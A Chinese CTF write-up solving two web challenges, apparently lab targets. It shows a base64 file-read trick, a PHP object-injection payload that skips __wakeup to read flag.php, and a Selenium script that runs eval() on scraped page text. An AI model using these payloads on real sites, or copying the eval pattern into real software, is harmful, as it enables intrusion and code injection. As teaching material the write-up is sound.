两道CTF Web的题目

1.easyphp

1.1.题目描述

题目首先是一张不存在的图片

查看源码发现只有一句话

<img src="show.php?img=aGludC5qcGc=" width="100%"/>

点开源码中图片的链接,跳转到下面的页面

img 后面的内容很像是 base64 编码,经过解码验证,确实是 base64 编码,还原后是 hint.jpg 。

尝试把 img 后面的参数用 flag.jpg、flag.php、flag 的base64编码代替后访问,并没有获取到有价值内容

直接访问 index.php 或者 show.php 也看不到任何东西,所以看看能不能利用 img 这个参数读取两个php源码

index.php 的 base64编码为 aW5kZXgucGhw

show.php 的 base64 编码为 c2hvdy5waHA=

经过尝试后,这时通过源码已经可以读取到内容,内容分别如下

index.php

<?php
  require_once(‘hint.php‘);
  $x = new hint();
  isset($_GET[‘class‘]) && $g = $_GET[‘class‘];
  if (!empty($g)) {
    $x = unserialize($g);
    echo $x;
  }
?>
<img src="show.php?img=aGludC5qcGc=" width="100%"/>

show.php

<?php
  $f = $_GET[‘img‘];
  if (!empty($f)) {
    $f = base64_decode($f);
    if (stripos($f,‘..‘)===FALSE && stripos($f,‘/‘)===FALSE && stripos($f,‘\\‘)===FALSE
    && stripos($f,‘flag‘)===FALSE) {
      readfile($f);
    } else {
      echo "File not found!";
    }
  }
?>

从 index.php 的源码里看到还有个 hint.php,用同样的方法读取,内容如下

hint.php 的 base64 编码为 aGludC5waHA=

<?php
  error_reporting(0);
    //flag is in flag.php
    class hint{
    public $file=‘‘;
    function __destruct(){
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, ‘/‘)===false)
          show_source(dirname (__FILE__).‘/‘.$this ->file);
       else      die(‘Wrong filename.‘);
      }}
    function __wakeup(){ $this-> file=‘index.php‘; }
    public function __toString(){return ‘‘ ;}}
?>

1.2.代码审计

hint.php 里面告诉我们 flag 在 flag.php中,所以我们要尝试去读取到这个 php 文件

show.php 里面用 stripos 限制了我们读取的内容,我们不能通过 show.php 的方式来读取到 flag.php

hint 里面定义了一个 hint 类,这个类有个 show_source(dirname (__FILE__).‘/‘.$this ->file); 方法,可以读取我们的 php 文件

而在 index.php 里面用到了 unserialize() 函数,用来反序列化一个 hint 对象,我们可以尝试使用反序列化的方式来读取 flag.php

1.3.Payload构造

将 hint.php 复制到本地,然后添加下面几行代码,通过网页取得序列化后的字符串

$x=new hint();
$x->file="flag.php";
echo serialize($x);

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

序列化字符串的含义可以参考:https://www.cnblogs.com/dogecheng/p/11652022.html

根据 index.php 的源码,我们把这个字符串赋值给 class 就好了,但是并没有取得 flag

在网上查询了一些资料后得知,通过 unserialize 反序列化之后,还会调用 __wakeup() 方法,它会把 file 设为 index.php,所以读取的并不是 flag.php

https://blog.csdn.net/bylfsj/article/details/101385852

我们需要绕过 __wakeup() 函数,但是绕过方法很简单。当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

我们原来的序列化字符串为:

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

我们只需要把 1 改成比它大的数字即可

O:4:"hint":2:{s:4:"file";s:8:"flag.php";}

这时候重新提交请求就能获得 flag 了

2.calculate

2.1.题目描述

题目如下

要求我们回答10道计算题。经过测试,每道题要在3秒内答对,答错或超时清零回答正确的问题个数。而且答题间隔要在1秒以上

页面源码如下,计算表达式 都在 div 中

<h1>calculate</h1>

<p>Answer the questions for 10 times and you can get flag.</p>
<p> You Have answered 0銆€questions;</p>

<form action="" method="post">
<div style="display:inline;color:#499E86">6</div><div style="display:inline;color:#BC2109">1</div><div style="display:inline;color:#E20AAD">5</div><div style="display:inline;color:#AE2893">+</div><div style="display:inline;color:#A3A7DA">9</div><div style="display:inline;color:#72311C">9</div><div style="display:inline;color:#7D99E9">7</div><div style="display:inline;color:#3DB475">+</div><div style="display:inline;color:#2144AE">6</div><div style="display:inline;color:#8523C0">1</div><div style="display:inline;color:#D42154">5</div><div style="display:inline;color:#DD166F">*</div><div style="display:inline;color:#0ADBF4">9</div><div style="display:inline;color:#116660">9</div><div style="display:inline;color:#4F6723">7</div><div style="display:inline;color:#7F7A0D">=</div>
<input type="text" name="ans">
<input type="submit" value="send!">
</form>

2.2.脚本编写

一开始用 python 的 requests 库来做,没有成功,改用 selenium 来做就成功了 ,代码如下:

from selenium import webdriver
from bs4 import BeautifulSoup
import time

driver=webdriver.Firefox()
driver.get("http://****:13002/")

def submit(driver):
    # 获取源码
    source = driver.page_source
    # BeautifulSoup解析
    soup = BeautifulSoup(source, "lxml")
    all_div = soup.find_all(name="div")

    # 获取表达式
    s = ""
    for i in all_div:
        s = s + i.contents[0]
    # 去掉等号
    s = s[:-1]
    print(s)

    # 计算
    res = eval(s)

    # 填入答案
    element = driver.find_element_by_name("ans")
    element.send_keys(res)

    # 等待 1.1 秒
    time.sleep(1.1)

    # 提交答案
    driver.find_element_by_xpath("/html/body/form/input[2]").click()
    print("click")

for i in range(10):
    submit(driver)

回答 10 次后在页面上就会出现 flag

原文地址:https://www.cnblogs.com/dogecheng/p/11729653.html

时间: 2024-10-13 08:07:30

两道CTF Web的题目的相关文章

2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RCE 在注释中发现了 forgetpassword.php 页面 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123 import requests url = "http://127.0.0.1/ciscn/web1/useri.php"

两道有意思的题目

碰到两道有意思的题目,记录一下. 题目一: 问,对于任意一个正整数,是否存在一个它的倍数全是由1和0组成? 例如: 1 * 1 = 1 2 * 5 = 10  (2的5倍是10,10由1和0组成) 3 * 37 = 111 (3 的 37 倍是111,111 全部由1组成) 4 * 25 = 100 (4 的 25 倍是100,100 由1和0组成) 5 * 20 = 100 (5 的 20 倍是100,100由1 和 0 组成) …… 现在需要判断,随便给一个正整数,是否存在一个它的倍数满足题

分享两道笔试题目

前几天,给成都的某家公司投了个简历,给发了两道笔试题目,与大家分享一下.附上自己的解题过程,写得不好的地方,还请博友多多指教. 一 .  设计程序输出销售及收费清单 一个电商平台对在其平台之上销售的除了书籍.食品以及药物以外的商品收取 10% 的费用.而对于进口的商品则额外收取 5% 的附加费用.对于平台抽取的费用计算时,舍入的规则是:对于 n% 抽取率,价格为 p的商品, np/100 的值就近舍入到 0.05(如: 7.125 -> 7.15, 6.66 -> 6.70 ). 卖家卖出一些

病毒的侵扰和再侵扰两道AC自动机的应用

HDU2896 病毒的侵扰 http://vjudge.net/problem/viewProblem.action?id=16404 题目大意: 记录每个病毒的编号,并给出一些网站的源码,分别输出网站及其对应编号中所含病毒的编号,没有就不输出 最后输出有病毒网站的个数 这道题需要注意的是这个所有ASCII码均会用到,所以我之前傻傻地写str[i]-'a'还不知为什么会错简直苦逼~~ 这里直接用ch[now][str[i]]找到对应位置即可 因为要记录编号,为了防止重复访问,我对query中进行

ACM/ICPC 之 SPFA范例两道(POJ3268-POJ3259)

两道以SPFA算法求解的最短路问题,比较水,第二题需要掌握如何判断负权值回路. POJ3268-Silver Cow Party //计算正逆最短路径之和的最大值 //Time:32Ms Memory:360K #include<iostream> #include<cstring> #include<cstdio> #include<queue> #include<algorithm> using namespace std; #define

告诉我图样图森破的两道简单C++笔试题

今晚刷了一大堆的笔试题,中规中矩,但是有两道做得很快但是都错了的题目,印象深刻. (要找工作的大四渣有没有共鸣,在学校明明很努力,但是总是跟不上时代,没有厉害的项目,也没有过人的竞赛成绩,内推屡屡失败,前天阿里巴巴在线笔试也被虐死,真心迷惘,唯独刷题搞笔试了.) 第一道题是关于宏定义的. #include<iostream> using namespace std; #define fun(n) (n-1)*n int main() { int x=3; cout<<fun(x+3

两道拓扑排序的问题

多久没写东西了啊.... 两道拓扑排序Liv.1的题....方法是一样的~~ <拓扑排序·二> 题目:http://hihocoder.com/contest/hiho81/problem/1 一个电脑网路,单向边,如果存在边u->v,那么u的病毒会感染到v. 要点,不存在环!那么如果u的入度=0的话,那么u中的病毒数不会再变化. 想到拓扑排序.不断删去入度为0的点.每次删去节点u,如果存在u->v,那么病毒数 num[v] += num[u].问题解决. (用queue实现拓扑排

12道人工智能领域的题目

12道人工智能领域的题目,答题的过程让大家都get到新姿势了吗? 在收到的48个回答中,有两位读者全部答对,真的是非常厉害啦! 今天,就让我们一起回顾一下题目,并看看正确答案的解释吧! 1.人工智能历史上第一个战胜人类的棋类游戏是? A.国际象棋 B.围棋 C.西洋双陆棋 D.四国军棋 1979年,由Hans Berliner(1929-2017)开发的一个西洋双陆棋程序,以7:1的成绩击败了当时的世界冠军Luigi Villa.创下了计算机第一次在智力游戏中击败冠军级别人类竞争对手的历史. 2

穷举(四):POJ上的两道穷举例题POJ 1411和POJ 1753

下面给出两道POJ上的问题,看如何用穷举法解决. [例9]Calling Extraterrestrial Intelligence Again(POJ 1411) Description A message from humans to extraterrestrial intelligence was sent through the Arecibo radio telescope in Puerto Rico on the afternoon of Saturday November 16